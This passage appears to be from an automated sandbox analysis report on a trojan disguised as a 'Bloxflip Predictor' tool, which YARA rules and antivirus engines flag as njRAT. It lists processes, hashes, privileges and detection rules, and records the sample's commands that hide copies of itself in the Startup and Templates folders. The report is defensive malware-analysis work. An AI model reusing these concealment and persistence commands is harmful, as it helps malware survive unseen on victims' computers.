Yara matches:	Rule: JoeSecurity_Njrat, Description: Yara detected Njrat, Source: 00000001.00000000.2042331899.0000000000512000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_Njrat_30f3c220, Description: unknown, Source: 00000001.00000000.2042331899.0000000000512000.00000002.00000001.01000000.00000003.sdmp, Author: unknown Rule: Njrat, Description: detect njRAT in memory, Source: 00000001.00000000.2042331899.0000000000512000.00000002.00000001.01000000.00000003.sdmp, Author: JPCERT/CC Incident Response Group Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000001.00000000.2042331899.0000000000512000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_Njrat, Description: Yara detected Njrat, Source: 00000001.00000002.2145141321.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Njrat_30f3c220, Description: unknown, Source: 00000001.00000002.2145141321.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Njrat, Description: detect njRAT in memory, Source: 00000001.00000002.2145141321.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000001.00000002.2145141321.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	06:31:39
Start date:	13/12/2024
Path:	C:\Windows\Bloxflip Predictor.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Bloxflip Predictor.exe"
Imagebase:	0xbd0000
File size:	28'160 bytes
MD5 hash:	7BF897CA59B77AD3069C07149C35F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Njrat, Description: Yara detected Njrat, Source: C:\Windows\Bloxflip Predictor.exe, Author: Joe Security Rule: Windows_Trojan_Njrat_30f3c220, Description: unknown, Source: C:\Windows\Bloxflip Predictor.exe, Author: unknown Rule: CN_disclosed_20180208_c, Description: Detects malware from disclosed CN malware set, Source: C:\Windows\Bloxflip Predictor.exe, Author: Florian Roth Rule: Njrat, Description: detect njRAT in memory, Source: C:\Windows\Bloxflip Predictor.exe, Author: JPCERT/CC Incident Response Group Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Windows\Bloxflip Predictor.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_attrib, Description: Detects executables using attrib with suspicious attributes attributes, Source: C:\Windows\Bloxflip Predictor.exe, Author: ditekSHen Rule: MALWARE_Win_NjRAT, Description: Detects NjRAT / Bladabindi, Source: C:\Windows\Bloxflip Predictor.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 84%, ReversingLabs
Reputation:	low
Has exited:	false

Target ID:	3
Start time:	06:31:39
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	attrib +h +r +s "C:\Windows\Bloxflip Predictor.exe"
Imagebase:	0x950000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	4
Start time:	06:31:39
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	06:31:49
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	attrib +h +r +s "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"
Imagebase:	0x950000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	7
Start time:	06:31:49
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	attrib +h +r +s "C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Windows.exe"
Imagebase:	0x950000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	8
Start time:	06:31:49
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	06:31:49
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	06:31:54
Start date:	13/12/2024
Path:	C:\Windows\Bloxflip Predictor.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Bloxflip Predictor.exe"
Imagebase:	0xfb0000
File size:	28'160 bytes
MD5 hash:	7BF897CA59B77AD3069C07149C35F97E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 0000000A.00000002.2394132880.0000000003401000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Target ID:	12
Start time:	06:32:43
Start date:	13/12/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"
Imagebase:	0xe90000
File size:	28'160 bytes
MD5 hash:	7BF897CA59B77AD3069C07149C35F97E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 0000000C.00000002.2880439130.00000000034A1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Njrat, Description: Yara detected Njrat, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, Author: Joe Security Rule: Windows_Trojan_Njrat_30f3c220, Description: unknown, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, Author: unknown Rule: CN_disclosed_20180208_c, Description: Detects malware from disclosed CN malware set, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, Author: Florian Roth Rule: Njrat, Description: detect njRAT in memory, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, Author: JPCERT/CC Incident Response Group Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_attrib, Description: Detects executables using attrib with suspicious attributes attributes, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, Author: ditekSHen Rule: MALWARE_Win_NjRAT, Description: Detects NjRAT / Bladabindi, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 84%, ReversingLabs
Reputation:	low
Has exited:	true